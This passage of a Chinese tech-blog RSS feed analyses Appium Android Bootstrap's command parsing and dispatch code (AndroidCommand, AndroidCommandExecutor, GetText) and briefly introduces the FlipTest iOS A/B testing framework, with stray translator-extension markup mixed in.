break-all;">Bootstrap</strong></u></a>源码分析之控件AndroidElement》我们知道了Appium从pc端发送过来的命令如果是控件相关的话，最终目标控件在bootstrap中是以AndroidElement对象的方式呈现出来的，并且该控件对象会在AndroidElementHash维护的控件哈希表中保存起来。但是appium触发一个命令除了需要提供是否与控件相关这个信息外，还需要其他的一些信息，比如，这个是什么命令？这个就是我们这篇文章需要讨论的话题了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　下面我们还是先看一下从pc端发过来的json的格式是怎么样的：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49982" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911451TEnd.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　可以看到里面除了params指定的是哪一个控件之外，还指定了另外两个信息：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　cmd: 这是一个action还是一个shutdown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　action：如果是一个action的话，那么是什么action</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　开始前我们先简要描述下我们需要涉及到几个关键类：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><font color="#202859"><span style="line-height: normal !important;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911452dLU9.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></span></font><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><strong style="word-break: break-all;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">1. Appium命令解析器AndroidCommand</a></strong></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　AndroidCommand这个类真实的作用其实就是去把Appium从pc端发送过来的那串json命令解析出来，它拥有两个成员变量：</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　JSONObject &nbsp; &nbsp; &nbsp; &nbsp; json;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　AndroidCommandType cmdType;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　json就是pc过来的json格式的那串命令，cmdType就是action或者shutdown，其实就是用来把这个类伪装成更像个命令类而已，我认为如果不提供这个成员变量而直接修改其getType的实现去解析json字串直接获得对应的AndroidCommandType，然后把这个类的名字改成AndroidCommandParser得了。</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　那么我们往下看下AndroidCommand究竟是怎么对客户端命令进行解析的，它的方法都很短，所以我把它做成一个表，这样比较清晰点：</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px;"><font color="#202859"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911453mrzV.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></font></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　从表中的这些方法可以看出来，这个类所做的事情基本上都是怎么去解析appium从pc端过来的那串json字串。<br /><br /></a><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　2. Action与CommandHandler的映射关系</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　从上面描述可以知道，一个action就是一个代表该命令的字串，比如&#8216;click&#8217;。但是一个字串是不能去执行的啊，所以我们需要有一种方式把它转换成可以执行的代码，这个就是AndroidCommandExecutor维护的一个静态HashMap map所做的事情：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">class AndroidCommandExecutor {</div><div style="word-break: break-all; margin: 10px 0px;">private static HashMap&lt;String, CommandHandler&gt; map = new HashMap&lt;String, CommandHandler&gt;();</div><div style="word-break: break-all; margin: 10px 0px;">static {</div><div style="word-break: break-all; margin: 10px 0px;">map.put("waitForIdle", new WaitForIdle());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("clear", new Clear());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("orientation", new Orientation());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("swipe", new Swipe());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("flick", new Flick());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("drag", new Drag());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pinch", new Pinch());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("click", new Click());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchLongClick", new TouchLongClick());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchDown", new TouchDown());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchUp", new TouchUp());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchMove", new TouchMove());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getText", new GetText());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("setText", new SetText());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getName", new GetName());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getAttribute", new GetAttribute());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getDeviceSize", new GetDeviceSize());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("scrollTo", new ScrollTo());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("find", new Find());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getLocation", new GetLocation());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getSize", new GetSize());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("wake", new Wake());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pressBack", new PressBack());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pressKeyCode", new PressKeyCode());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("longPressKeyCode", new LongPressKeyCode());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("takeScreenshot", new TakeScreenshot());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("updateStrings", new UpdateStrings());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getDataDir", new GetDataDir());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("performMultiPointerGesture", new MultiPointerGesture());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("openNotification", new OpenNotification());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("source", new Source());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("compressedLayoutHierarchy", new CompressedLayoutHierarchy());</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这个map指定了我们支持的pc端过来的所有action，以及对应的处理该action的类的实例，其实这些类都是CommandHandler的子类基本上就只有一个：去实现CommandHandler的虚拟方法execute！要做的事情就大概就这几类：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　控件相关的action：调用AndroidElement控件的成员变量UiObject el对应的方法来执行真实的操作</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　UiDevice相关的action：调用UiDevice提供的方法</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　UiScrollable相关的action：调用UiScrollable提供的方法</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　UiAutomator那5个对象都没有的action：该调用InteractionController的就反射调用，该调用QueryController的就反射调用。注意这两个类UiAutomator是没有提供直接调用的方法的，所以只能通过反射。更多这两个类的信息请翻看之前的UiAutomator源码分析相关的文章</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　其他：如取得compressedLayoutHierarchy</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　指导action向CommandHandler真正发生转换的地方是在这个AndroidCommandExecutor的execute方法中：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">public AndroidCommandResult execute(final AndroidCommand command) {</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">Logger.debug("Got command action: " + command.action());</div><div style="word-break: break-all; margin: 10px 0px;">if (map.containsKey(command.action())) {</div><div style="word-break: break-all; margin: 10px 0px;">return map.get(command.action()).execute(command);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.UNKNOWN_COMMAND,</div><div style="word-break: break-all; margin: 10px 0px;">"Unknown command: " + command.action());</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final JSONException e) {</div><div style="word-break: break-all; margin: 10px 0px;">Logger.error("Could not decode action/params of command");</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.JSON_DECODER_ERROR,</div><div style="word-break: break-all; margin: 10px 0px;">"Could not decode action/params of command, please check format!");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　它首先叫上面的AndroidCommand解析器把json字串的action给解析出来</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　然后通过刚提到的map把这个action对应的CommandHandler的实现类给实例化</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　然后调用这个命令处理类的execute方法开始执行命令</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">3. 命令处理示例</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　我们这里就示例性的看下getText这个action对应的CommandHandler是怎么去通过AndroidElement控件进行设置文本的处理的：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">public class GetText extends CommandHandler {</div><div style="word-break: break-all; margin: 10px 0px;">/*</div><div style="word-break: break-all; margin: 10px 0px;">* @param command The {@link AndroidCommand} used for this handler.</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @return {@link AndroidCommandResult}</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @throws JSONException</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @see io.appium.android.bootstrap.CommandHandler#execute(io.appium.android.</div><div style="word-break: break-all; margin: 10px 0px;">* bootstrap.AndroidCommand)</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">@Override</div><div style="word-break: break-all; margin: 10px 0px;">public AndroidCommandResult execute(final AndroidCommand command)</div><div style="word-break: break-all; margin: 10px 0px;">throws JSONException {</div><div style="word-break: break-all; margin: 10px 0px;">if (command.isElementCommand()) {</div><div style="word-break: break-all; margin: 10px 0px;">// Only makes sense on an element</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">final AndroidElement el = command.getElement();</div><div style="word-break: break-all; margin: 10px 0px;">return getSuccessResult(el.getText());</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final UiObjectNotFoundException e) {</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.NO_SUCH_ELEMENT,</div><div style="word-break: break-all; margin: 10px 0px;">e.getMessage());</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final Exception e) { // handle NullPointerException</div><div style="word-break: break-all; margin: 10px 0px;">return getErrorResult("Unknown error");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return getErrorResult("Unable to get text without an element.");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　关键代码就是里面通过AndroidCommand的getElement方法：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　解析传进来的AndroidCommand实例保存的pc端过来的json字串，找到&#8217;params&#8216;项的子项&#8217;elementId'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　通过这个获得的id去控件哈希表（请查看《Appium Android Bootstrap源码分析之控件AndroidElement》）中找到目标AndroidElement控件对象</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　然后调用获得的AndroidElement控件对象的getText方法：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　最终通过调用AndroidElement控件成员UiObject控件对象的getText方法取得控件文本信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　4. 小结</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　bootstrap接收到appium从pc端发送过来的json格式的键值对字串有多个项：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　cmd: 这是一个action还是一个shutdown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　action：如果是一个action的话，那么是什么action，比如click</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　params:拥有其他的一些子项，比如指定操作控件在AndroidElementHash维护的控件哈希表的控件键值的'elementId'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　在收到这个json格式命令字串后：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　AndroidCommandExecutor会调用AndroidCommand去解析出对应的action</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　然后把action去map到对应的真实命令处理方法CommandHandler的实现子类对象中</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　然后调用对应的对象的execute方法来执行命令</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">相关文章：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap源码分析之简介</div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap之控件AndroidElement</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/wx.jpg) no-repeat;"></div></a></div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: block; left: 552px; top: 2965px; opacity: 0.4; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player" style="display: none; height: 0px; width: 0px;"></div><div id="SL_alert100" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421668.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:25 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421668.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Fliptest—iOS 的应用A/B测试框架</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421666.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:22:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421666.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421666.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421666.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421666.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421666.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　FlipTest是专为iOS设计的<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">移动</strong></u></a>应用A/B测试框架，通过它，开发者可以无需重新向App Store提交应用或重构代码，只需添加一行代码，即可直接在iOS应用上进行A/B测试。对移动应用做 A/B&nbsp;<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>是非常难的，而 FlipTest 可以帮你简化这个过程。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50130" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171457151Lj7o.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　对于想要追求UI极致的开发者而言，FlipTest绝对是最合适的<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试框架</strong></u></a>。FlipTest会为应用选择最恰当的用户界面，还会基于外观、可用性等众多因素返还测试结果，从而帮助开发者彻底解决UI问题。</div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: 